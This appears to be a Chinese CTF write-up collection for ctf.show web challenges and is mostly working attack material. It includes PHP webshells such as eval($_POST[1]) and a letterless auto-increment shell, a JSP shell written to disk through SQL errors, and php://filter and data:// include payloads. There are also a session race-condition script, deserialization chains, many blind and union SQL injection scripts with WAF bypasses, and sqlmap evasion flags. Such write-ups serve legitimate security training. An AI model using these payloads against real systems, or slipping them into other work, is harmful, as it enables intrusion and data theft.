有情有义的日光灯 · 牧原减速、温氏借款、新希望亏损 猪企何时翻身· 3 周前 · |
帅气的地瓜 · Tomcat HTTP 404 ...· 6 月前 · |
完美的鸡蛋面 · 6. TensorRT 进阶用法 - ...· 1 年前 · |
粗眉毛的树叶 · 万丈光芒不及你在线阅读,简介,漫画选集,在线 ...· 1 年前 · |
先跑一手正则:
for($a = 0; $a < 256; $a++){ if (!preg_match("/[!@#%^&*:'\"|`a-zA-BD-Z~\\\\]|[4-9]/",chr($a))){ echo chr($a)." "; $ ( ) + , - . / 0 1 2 3 ; < = > ? C [ ] _ { }
经典的无字母webshell,有了+应该是用自增构造,用RCE挑战5里那个通用解就行了,这里system啥的都ban了,换成passthru执行命令:(记得burpsuite传别用hackbar)
ctf_show=$_=(_/_._)[_];$_%2b%2b;$%FA=$_.$_%2b%2b;$_%2b%2b;$_%2b%2b;$_=_.$%FA.%2b%2b$_.%2b%2b$_;$$_[_]($$_[%FA]);&_=passthru&%FA=cat /f*
过滤了?,考虑php的标记风格:
<?php ...?>
<?...?>
<%...%>
<script language="php">...</script>
payload:
POST:code=<script language="php">system("cat /f*");</script>
任意命令执行,但没有回显,字符数不超过7。hitcon那个题的究极简化版,一句话就搞定了:
nl /*>a
虽然之前hitcon的题已经解释过了,这里再简单解释一下,nl是一个linux里读取文件内容的命令,/*就是根目录下的所有文件,>+fileanme来实现新建一个文件(>是覆盖,>>是追加),所以我这行命令意思就是读取根目录下所有文件并导入文件a种,然后访问6574a4b0-8acb-4f2d-a23c-45bc408ed17a.challenge.ctf.show/api/a即可拿到flag
关键点毫无疑问是这个eval(),但是有个check函数进行了判断。我们简单分析下,首先$num1.$num2.$symbol也就是传进来的三个值拼接起来可用字符只有
" ) * + , - . / : ; \ ] } 0~9 a~z A~Z
其次是第二个pregmatch,限制了symbol里必须有
* + - /
有eval执行代码,但是不能有(或者{,执行函数是不行了,得找一个不用括号的函数,比如include,正常的包含是:
include "data://text/plain,<?php phpinfo();?>"
但我们这里不能用括号或者<,我们可以先进行一次编码:
include "data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+"
因为得满足上面分成三段的要求,我们换一种写法再拆分一下:
num1=include "data:ctfshow
symbol=/
num2=b;base64,PD9waHAgZXZhbCgkX0dFVFsxXSk7Pz4";
$num1$symbol$num2=include "data:ctfshow/b;base64,PD9waHAgZXZhbCgkX0dFVFsxXSk7Pz4";
payload:
GET:?1=system('cat /secret');die();
POST:num1=include "data:ctfshow&symbol=/&num2=b;base64,PD9waHAgZXZhbCgkX0dFVFsxXSk7Pz4";
注:之前确实没想到这样也能包含
public String auth(@RequestParam String username, @RequestParam String password, HttpServletRequest request){
String message="社工库未查询到泄露记录,你的账号是安全的。";
if(SafeUtil.sql_check(username) || SafeUtil.sql_check(password)){
message="stop sql inject!";
return message;
try {
String sql = "select username,password from app_user where username ='" + username + "' and password ='" + password + "' ;";
ResultSet resultSet = DbUtil.getInstance().query(sql);
if (null != resultSet) {
while (resultSet.next()) {
message = "您的QQ账号密码已经泄露,请立即修改密码";
break;
}catch (Exception e){
e.printStackTrace();
message="数据查询出错";
insertQueryLog(username,password);
return message;
很明显有一个sql语句,可能有sql注入,但这里有个SafeUtil.sql_check,先看看过滤:
public static boolean sql_check(String sql){
sql = sql.toLowerCase(Locale.ROOT);
String ban[] = {"'",
"file",
"information",
"mysql",
"from",
"update",
"delete",
"select",",","union","sleep","("};
for (String s:ban) {
if(sql.contains(s)){
return true;
return false;
过滤了单引号,但是可以转义绕过,我们再来看看配置文件config.properties:
url=jdbc:mysql://127.0.0.1:3306/app?characterEncoding=utf-8&useSSL=false&&autoReconnect=true&allowMultiQueries=true&serverTimezone=UTC
db_username=root
db_password=root
这里有一句allowMultiQueries=true,而且没过率分号,所以很明显可以堆叠注入了,再看看这个insertQueryLog(username,password)
private int insertQueryLog(String username,String password){
String sql = "insert into app_query_log(username,password) values(?,?);";
Connection connection = DbUtil.getConnection();
PreparedStatement preparedStatement;
int count=0;
try {
connection.setAutoCommit(false);
preparedStatement=connection.prepareStatement(sql);
preparedStatement.setQueryTimeout(3);
preparedStatement.setString(1,username);
preparedStatement.setString(2,password);
count = preparedStatement.executeUpdate();
connection.commit();
} catch (SQLException e) {
LogUtil.save(username,password);
e.printStackTrace();
return count;
有一句LogUtil.save(),继续跟进看看:
public class LogUtil {
public LogUtil() {
public static void save(String username, String password) {
FileUtil.SaveFileAs(username, password);
继续跟进:
public static boolean SaveFileAs(String content, String path) {
FileWriter fw = null;
boolean var4;
try {
fw = new FileWriter(new File(path), false);
if (content != null) {
fw.write(content);
return true;
} catch (IOException var14) {
var14.printStackTrace();
var4 = false;
} finally {
if (fw != null) {
try {
fw.flush();
fw.close();
} catch (IOException var13) {
var13.printStackTrace();
return var4;
也就是说这里其实有一个保存文件的功能,如果我们让上面的insertQueryLog()报错,就会进入catch (SQLException e) ,然后通过LogUtil.save()保存文件,并且username为内容,password为文件名,但这里过滤了(
,我们必须既做到不用括号sql注入,还得让sql语句报错,回到那句sql语句:
String sql = "insert into app_query_log(username,password) values(?,?);";
三个报错方法:
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib uri="http://java.sun.com/jsp/jstl/sql" prefix="sql"%>
<%@ taglib uri="http://java.sun.com/jsp/jstl/core" prefix="c"%>
<%@ page isELIgnored="false" %>
<sql:setDataSource var="test" driver="${param.driver}"
url="${param.url}" user="root" password="root" />
<sql:query dataSource="${test}" var="result">
${param.sql}
</sql:query>
<table border="1" width="100%">
<th>ctfshow</th>
<c:forEach var="row" items="${result.rows}">
<td><c:out value="${row.t}" /></td>
</c:forEach>
</table>
username=%3C%25%40%20page%20language%3D%22java%22%20contentType%3D%22text%2Fhtml%3B%20charset%3DUTF-8%22%0A%20%20%20%20pageEncoding%3D%22UTF-8%22%25%3E%0A%3C%25%40%20taglib%20uri%3D%22http%3A%2F%2Fjava.sun.com%2Fjsp%2Fjstl%2Fsql%22%20prefix%3D%22sql%22%25%3E%0A%3C%25%40%20taglib%20uri%3D%22http%3A%2F%2Fjava.sun.com%2Fjsp%2Fjstl%2Fcore%22%20prefix%3D%22c%22%25%3E%0A%3C%25%40%20page%20isELIgnored%3D%22false%22%20%25%3E%0A%3Csql%3AsetDataSource%20var%3D%22test%22%20driver%3D%22%24%7Bparam.driver%7D%22%0A%20%20%20%20%20%20%20%20url%3D%22%24%7Bparam.url%7D%22%20user%3D%22root%22%20password%3D%22root%22%20%2F%3E%0A%20%20%20%3Csql%3Aquery%20dataSource%3D%22%24%7Btest%7D%22%20var%3D%22result%22%3E%0A%20%20%20%20%20%20%20%20%24%7Bparam.sql%7D%0A%20%20%20%20%3C%2Fsql%3Aquery%3E%0A%0A%0A%0A%3Ctable%20border%3D%221%22%20width%3D%22100%25%22%3E%0A%20%20%20%20%20%20%20%20%3Ctr%3E%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%3Cth%3Et%3C%2Fth%3E%0A%20%20%20%20%20%20%20%20%3C%2Ftr%3E%0A%20%20%20%20%20%20%20%20%3Cc%3AforEach%20var%3D%22row%22%20items%3D%22%24%7Bresult.rows%7D%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3Ctr%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3Ctd%3E%3Cc%3Aout%20value%3D%22%24%7Brow.t%7D%22%20%2F%3E%3C%2Ftd%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3C%2Ftr%3E%0A%20%20%20%20%20%20%20%20%3C%2Fc%3AforEach%3E%0A%20%20%20%20%3C%2Ftable%3E&password=../webapps/ROOT/1.jsp
先生成小马
POST:file=data://text/plain,<?php eval($_GET['cmd']);?>>?;)]'dmc'[TEG_$(lave php?<,nialp/txet//:atad
url/?cmd=system("cat /*");
easy unserialize
include("./HappyYear.php");
class one {
public $object;
public function MeMeMe() {
array_walk($this, function($fn, $prev){
if ($fn[0] === "Happy_func" && $prev === "year_parm") {
global $talk;
echo "$talk"."</br>";
global $flag;
echo $flag;
public function __destruct() {
@$this->object->add();
public function __toString() {
return $this->object->string;
class second {
protected $filename;
protected function addMe() {
return "Wow you have sovled".$this->filename;
public function __call($func, $args) {
call_user_func([$this, $func."Me"], $args);
class third {
private $string;
public function __construct($string) {
$this->string = $string;
public function __get($name) {
$var = $this->$name;
$var[$name]();
if (isset($_GET["ctfshow"])) {
$a=unserialize($_GET['ctfshow']);
throw new Exception("高一新生报道");
} else {
highlight_file(__FILE__);
同红岩杯的反序列化题
class one {
public $object;
public $year_parm=array(0=>"Happy_func");
class second {
public $filename;
class third {
private $string;
public function __construct($string) {
$this->string = $string;
$a=new one();
$a->object=new second();
$a->object->filename=new one();
$a->object->filename->object=new third(['string'=>[new one(),'MeMeMe']]);
$n=null;
$payload=array($a,$n);
echo urlencode(serialize($payload));
i:1改成i:0:
?ctfshow=a%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BO%3A6%3A%22second%22%3A1%3A%7Bs%3A8%3A%22filename%22%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BO%3A5%3A%22third%22%3A1%3A%7Bs%3A13%3A%22%00third%00string%22%3Ba%3A1%3A%7Bs%3A6%3A%22string%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BN%3Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7Di%3A1%3Bs%3A6%3A%22MeMeMe%22%3B%7D%7D%7Ds%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7D%7Ds%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7Di%3A0%3BN%3B%7D
web签到
//Author:H3h3QAQ
include "flag.php";
highlight_file(__FILE__);
error_reporting(0);
if (isset($_GET["YBB"])) {
if (hash("md5", $_GET["YBB"]) == $_GET["YBB"]) {
echo "小伙子不错嘛!!flag给你了:" . $flag;
} else {
echo "偶吼,带黑阔被窝抓到了!!!!";
因为这里是弱比较,所以其实只要我们找个字符串前后加密前缀都一样就行了,比如0e215962017,它md5后是0e291242476940776845150308577824,二者前缀都是0e自然弱比较成功,拿到flag了
?YBB=0e215962017
web入门·信息搜集
f12查看源码即可
返回包请求头里
/robots.txt->/flagishere.txt
phps文件泄露,访问/index.phps
/www.zip -> /fl000g.txt
git泄露,访问/git/
svn泄露,访问/.svn/
vim缓存文件.swp,访问index.php.swp
web10
看cookie
web11
查看flag.ctfshow.com的txt解析记录,可以用http://www.wetools.com/dns/bdeccb25bc9237a4ce71db80a2655594
$p = $_POST['pazzword'];
if(isset($u) && isset($p)){
if($u==='admin' && $p ==='a599ac85a73384ee3219fa684296eaa62667238d608efa81837030bd1ce1bf04'){
echo $flag;
所以post提交一下就行了:
username=admin&pazzword=a599ac85a73384ee3219fa684296eaa62667238d608efa81837030bd1ce1bf04
web20
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
经典的包含日志
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
条件竞争包含session,利用session.upload_progress
将恶意语句写入session文件,从而包含session文件
import requests
import threading
import sys
session=requests.session()
sess='yu22x'
url1="http://05b536c9-c839-4df4-80a9-ddbc1ddeb979.challenge.ctf.show:8080/"
url2='http://05b536c9-c839-4df4-80a9-ddbc1ddeb979.challenge.ctf.show:8080?file=/tmp/sess_'+sess
data1={
'PHP_SESSION_UPLOAD_PROGRESS':'<?php eval($_POST[1]);?>'
data2={
'1':'system("cat f*");'
file={
'file':'abc'
cookies={
'PHPSESSID': sess
def write():
while True:
r = session.post(url1,data=data1,files=file,cookies=cookies)
def read():
while True:
r = session.post(url2,data=data2)
if 'ctfshow{' in r.text:
print(r.text)
threads = [threading.Thread(target=write),
threading.Thread(target=read)]
for t in threads:
t.start()
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{
highlight_file(__FILE__);
死亡die,之前看别人博客里提到过,具体可以看看p神的博客:https://www.leavesongs.com/PENETRATION/php-filter-magic.html,借用一下别人的解释:
file=%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2577%2572%2569%2574%2565%253d%2563%256f%256e%2576%2565%2572%2574%252e%2562%2561%2573%2565%2536%2534%252d%2564%2565%2563%256f%2564%2565%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%2561%252e%2570%2568%2570
// file=php://filter/write=convert.base64-decode/resource=a.php
content=11PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==
其中PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==是"<?php eval($_POST[1]);"的base64编码。前面的11是为了填充"<?php die('大佬别秀了');?>"
base64 4位4位解码,其中"<?php die('大佬别秀了');?>"解码的内容其实只有phpdie,所以需要再填充两位。
//content=<?php eval($_POST[1]);
或者用rot13
file=%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2577%2572%2569%2574%2565%253d%2573%2574%2572%2569%256e%2567%252e%2572%256f%2574%2531%2533%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%2562%252e%2570%2568%2570
//file=php://filter/read=string.rot13/resource=b.php
content=<?cuc riny($_CBFG[1]);
//content=<?php eval($_POST[1]);
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
include($file);
}else{
highlight_file(__FILE__);
没过滤:,直接data协议
?file=data://text/plain;base64,PD9waHAgQGV2YWwoJF9QT1NUWzFdKTs
POST 1=system("cat *f*");
web117
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);
过滤了base64和rot13,我们可以换个冷门点的
payload: file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
post:contents=?<hp pvela$(P_SO[T]1;)>?
web入门·文件上传
web151
直接传即可
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
imagepng($img,'2.png'); //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>
echo "执行成功!";
nb='nbfnbcnbgnbdnbfnbfnbgnbcnbfnbhnbfFnbgnbgnbgBnbcnbhnbfnbbnbcnbcnbcnbenbfnbbnbfnbenbfnbcnbfnbanbbDnbcnbcnbcnbgnbcnbgnbfnbdnbbDnbcnbdnbcnbbnbfnbfnbcnbhnbbDnbcnbhnbfnbanbfnbdnbcnbdnbbDnbcnbfnbfnbcnbfnbanbfnbbnbcnbgnbcnbhnbcnbenbfnbfnbcnbcnbcnbdnbfnbanbfnbbnbgD'
nb=nb.replace('nba','1').replace('nbb','2').replace('nbc','3').replace('nbd','4').replace('nbe','5').replace('nbf','6').replace('nbg','7').replace('nbh','8').replace('nbi','9').replace('nbj','0')
flag = bytes.fromhex(nb).decode("ascii")
print(flag)
web175
$sql = "select username,password from ctfshow_user5 where username !='flag' and id = '".$_GET['id']."' limit 1;";
if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
$ret['msg']='查询成功';
必须非ASCII字符才能获得返回值,0-127的字符都没啦。
把数据保存到1.txt里然后访问即可(写马似乎也行)
1' union select 1,group_concat(password) from ctfshow_user5 into outfile '/var/www/html/1.txt'--+
import requests
from time import time
url='http://e9a0003b-c5a4-47a5-af60-38145f1bfbf2.challenge.ctf.show/api/v5.php'
flag=''
for i in range(1,100):
length=len(flag)
min=32
max=128
while 1:
j=min+(max-min)//2
if min==j:
flag+=chr(j)
print(flag)
break
payload="?id=' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user5 where username='flag'),%d,1))<%d,sleep(0.5),1) -- -"%(i,j)
start_time=time()
r=requests.get(url=url+payload).text
end_time=time()
if end_time-start_time>0.48:
max=j
else :
min=j
web176
有waf但不知道waf是啥,fuzz了一下,是过滤了小写select,用大写绕过即可(如果是替换为空可以用双写,这里好像不是)
0' union SELECT password,2,3 from ctfshow_user%23
web177
过滤了空格,几个payload都能替换
/**/替换
0'/**/union/**/SELECT/**/password,2,3/**/from/**/ctfshow_user%23
%0C替换
0'%0Cunion%0CSELECT%0Cpassword,2,3%0Cfrom%0Cctfshow_user%23
还有%0a、%0b、%0c、%0d、%09(tab键)、%a0等等
web178
过滤了/**/,从上面找个就行了
0'%0Cunion%0CSELECT%0Cpassword,2,3%0Cfrom%0Cctfshow_user%23
web179
过滤了%0a %09,还是用%0C即可
0'%0Cunion%0CSELECT%0Cpassword,2,3%0Cfrom%0Cctfshow_user%23
web180
过滤了注释符#
和--
,可以用’1’=’1来闭合后边
'union%0cselecT%0c1,2,group_concat(password)%0cfrom%0cctfshow_user%0cwhere%0c'1'='1
web181
直接让他显示flag用户的信息
id=0'||username='flag
web182
过滤了flag,正则匹配一手即可
id=0'||(username)regexp'f
web183
$sql = "select count(pass) from ".$_POST['tableName'].";";
function waf($str){
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into/i', $str);
空格过滤了用括号代替,等号过滤了可以用like或者regexp,但有个缺点就是不区分大小写,我们在前面加个binary就行了,偷一手羽师傅的脚本:
#author:yu22x
import requests
import string
url="http://0be2b54b-f4b2-4843-a369-5878015eeca6.challenge.ctf.show/select-waf.php"
s=string.digits+string.ascii_lowercase+"{_-}"
flag=''
for i in range(1,45):
print(i)
for j in s:
data={
'tableName':f'(ctfshow_user)where(pass)regexp("^ctfshow{flag+j}")'
#print(data)
r=requests.post(url,data=data)
#print(r.text)
if("user_count = 1" in r.text):
flag+=j
print(flag)
break
//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
过滤了where可以使用having,过滤了引号可以使用16进制,where和having用法的区别可参考https://blog.csdn.net/yexudengzhidao/article/details/54924471
,其实也就简单改改上面脚本的语法就行了,继续偷一手羽师傅的脚本:
#author:yu22x
import requests
import string
url="http://e48a8069-93a1-4f54-92fd-98bf6d2f2e64.challenge.ctf.show/select-waf.php"
s=string.digits+string.ascii_lowercase+"{_-}"
def asc2hex(s):
a1 = ''
a2 = ''
for i in s:
a1+=hex(ord(i))
a2 = a1.replace("0x","")
return a2
flag=''
for i in range(1,45):
print(i)
for j in s:
d = asc2hex(f'^ctfshow{flag+j}')
data={
'tableName':f' ctfshow_user group by pass having pass regexp(0x{d})'
#print(data)
r=requests.post(url,data=data)
#print(r.text)
if("user_count = 1" in r.text):
flag+=j
print(flag)
break
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
过滤了1到9的数字,我们可以用其他方式表达数字,比如我们可以使用true拼接出数字,再使用char函数转换成字符,最后使用concat进行拼接。比如想获取字符c,c的ascii为99,c就可以等于char(ture+ture+ture......)
(99个true),羽师傅的脚本:
#author:yu22x
import requests
import string
url="http://f15a113d-2bae-432c-8dc6-a2cb1fe7b54e.challenge.ctf.show/select-waf.php"
s='0123456789abcdef-{}'
def convert(strs):
t='concat('
for s in strs:
t+= 'char(true'+'+true'*(ord(s)-1)+'),'
return t[:-1]+")"
flag=''
for i in range(1,45):
print(i)
for j in s:
d = convert(f'^ctfshow{flag+j}')
data={
'tableName':f' ctfshow_user group by pass having pass regexp({d})'
#print(data)
r=requests.post(url,data=data)
#print(r.text)
if("user_count = 1" in r.text):
flag+=j
print(flag)
if j=='}':
exit(0)
break
//对传入的参数进行了过滤
function waf($str){
return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\%|\<|\>|\^|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
还是能用上面的脚本打
web187
//拼接sql语句查找指定ID用户
$sql = "select count(*) from ctfshow_user where username = '$username' and password= '$password'";
$username = $_POST['username'];
$password = md5($_POST['password'],true);
//只有admin可以获得flag
if($username!='admin'){
$ret['msg']='用户名不存在';
die(json_encode($ret));
//用户名检测
if(preg_match('/and|or|select|from|where|union|join|sleep|benchmark|,|\(|\)|\'|\"/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
//密码判断
if($row['pass']==intval($password)){
$ret['msg']='登陆成功';
array_push($ret['data'], array('flag'=>$flag));
只要输入的密码经过intval函数后弱等于查询出的密码就可以获得flag,所以如果真正的密码是字母我们就能用0等于成功,而用户名我们也可以用0,因为username一般是字符串,在mysql中字符串与数字进行比较的时候,以字母开头的字符串都会转换成数字0,所以where username = 0会把所有数据都查出来
username=0&password=0
web189
//用户名检测
if(preg_match('/select|and| |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\x26|\x7c|or|into|from|where|join|sleep|benchmark/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
flag在api/index.php文件中,所以只能盲注了
import requests
import time
url = "http://9cb4c9e3-266b-448b-9b17-b1ad6e41239b.challenge.ctf.show/api/"
flagstr = "}{<>$=,;_ 'abcdefghijklmnopqr-stuvwxyz0123456789"
flag = ""
#这个位置,是群主耗费很长时间跑出来的位置~
for i in range(257,257+60):
for x in flagstr:
data={
"username":"if(substr(load_file('/var/www/html/api/index.php'),{},1)=('{}'),1,0)".format(i,x),
"password":"0"
print(data)
response = requests.post(url,data=data)
time.sleep(0.3)
# 8d25是username=1时的页面返回内容包含的,具体可以看上面的截图~
if response.text.find("8d25")>0:
print("++++++++++++++++++ {} is right".format(x))
flag+=x
break
else:
continue
print(flag)
import requests
import string
url="http://46163ae9-ca15-415c-9a1f-d79ea27cf81e.challenge.ctf.show/api/index.php"
s=string.ascii_letters+string.digits
flag=''
for i in range(1,45):
print(i)
for j in range(32,128):
# data={
# 'username':f"'||if(ascii(substr(database(),{i},1))={j},1,0)#",
# 'password':'1'
# data={
# 'username':f"'||if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))={j},1,0)#",
# 'password':'1'
# data={
# 'username':f"'||if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_fl0g'),{i},1))={j},1,0)#",
# 'password':'1'
data={
'username':f"'||if(ascii(substr((select f1ag from ctfshow_fl0g),{i},1))={j},1,0)#",
'password':'1'
r=requests.post(url,data=data)
if("\\u5bc6\\u7801\\u9519\\u8bef" in r.text):
flag+=chr(j)
print(flag)
break
if(preg_match('/file|into|ascii/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
改成ord就行了
#author:yu22x
import requests
import string
url="http://f5ac78f2-fd7e-4221-9bf0-d63586ee8a51.challenge.ctf.show/api/index.php"
s=string.ascii_letters+string.digits
flag=''
for i in range(1,45):
print(i)
for j in range(32,128):
# data={
# 'username':f"'||if(ascii(substr(database(),{i},1))={j},1,0)#",
# 'password':'1'
# data={
# 'username':f"'||if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))={j},1,0)#",
# 'password':'1'
# data={
# 'username':f"'||if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_fl0g'),{i},1))={j},1,0)#",
# 'password':'1'
data={
'username':f"'||if(ord(substr((select f1ag from ctfshow_fl0g),{i},1))={j},1,0)#",
'password':'1'
r=requests.post(url,data=data)
if("\\u5bc6\\u7801\\u9519\\u8bef" in r.text):
flag+=chr(j)
print(flag)
break
if(preg_match('/file|into|ascii|ord|hex/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
import requests
import string
url="http://ce110fe8-25ce-4466-977e-9adadcc811b3.challenge.ctf.show/api/index.php"
s=string.ascii_lowercase+string.digits+'{'+'}'+'-'
flag=''
for i in range(1,45):
for j in s:
data={
'username':f"'||if((substr((select f1ag from ctfshow_fl0g),{i},1))='{j}',1,0)#",
'password':'1'
r=requests.post(url,data=data)
if("\\u5bc6\\u7801\\u9519\\u8bef" in r.text):
flag+=j
print(flag)
break
//TODO:感觉少了个啥,奇怪
if(preg_match('/file|into|ascii|ord|hex|substr/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
import requests
import string
url="http://9c661478-5e7e-42ee-a47d-586a2a2c614b.challenge.ctf.show/api/index.php"
s=string.ascii_lowercase+string.digits+'{'+'}'+'-'
flag=''
for i in range(1,46):
for j in s:
# data={
# 'username':f"'||if((mid((select group_concat(table_name)from information_schema.tables where table_schema=database()),{i},1))='{j}',1,0)#",
# 'password':'1'
# data={
# 'username':f"'||if((mid((select group_concat(column_name)from information_schema.columns where table_name='ctfshow_fl0g'),{i},1))='{j}',1,0)#",
# 'password':'1'
data={
'username':f"'||if((mid((select f1ag from ctfshow_flxg),{i},1))='{j}',1,0)#",
'password':'1'
r=requests.post(url,data=data)
if("\\u5bc6\\u7801\\u9519\\u8bef" in r.text):
flag+=j
print(flag)
break
//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
if(strlen($username)>16){
$ret['msg']='用户名不能超过16个字符';
die(json_encode($ret));
if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
参数:--tables,--exclude-sysdbs,-D
当前用户有权限读取包含所有数据库表信息的表中的时候,即可列出一个特定数据的所有表。
如果你不提供-D参数来列指定的一个数据的时候,sqlmap会列出数据库所有库的所有表。
--exclude-sysdbs参数是指包含了所有的系统数据库。
需要注意的是在Oracle中你需要提供的是TABLESPACE_NAME而不是数据库名称。
列举数据库表中的字段
参数:--columns,-C,-T,-D
当前用户有权限读取包含所有数据库表信息的表中的时候,即可列出指定数据库表中的字段,同时也会列出字段的数据类型。
如果没有使用-D参数指定数据库时,默认会使用当前数据库。
获取整个表的数据
参数:--dump,-C,-T,-D,--start,--stop,--first,--last
如果当前管理员有权限读取数据库其中的一个表的话,那么就能获取真个表的所有内容。
使用-D,-T参数指定想要获取哪个库的哪个表,不适用-D参数时,默认使用当前库。
使用参数绕waf
--random-agent 使用任意HTTP头进行绕过,尤其是在WAF配置不当的时候
--time-sec=3 使用长的延时来避免触发WAF的机制,这方式比较耗时
--hpp 使用HTTP 参数污染进行绕过,尤其是在ASP.NET/IIS 平台上
--proxy=100.100.100.100:8080 --proxy-cred=211:985 使用代理进行绕过
--ignore-proxy 禁止使用系统的代理,直接连接进行注入
--flush-session 清空会话,重构注入
--hex 或者 --no-cast 进行字符码转换
--mobile 对移动端的服务器进行注入
--tor 匿名注入
指定脚本进行绕过(--tamper)
比如sqlmap -u "http://xxx/Less-1/?id=1" --tamper="space2comment.py,space2plus.py"
探测等级和危险等级(—level —risk)
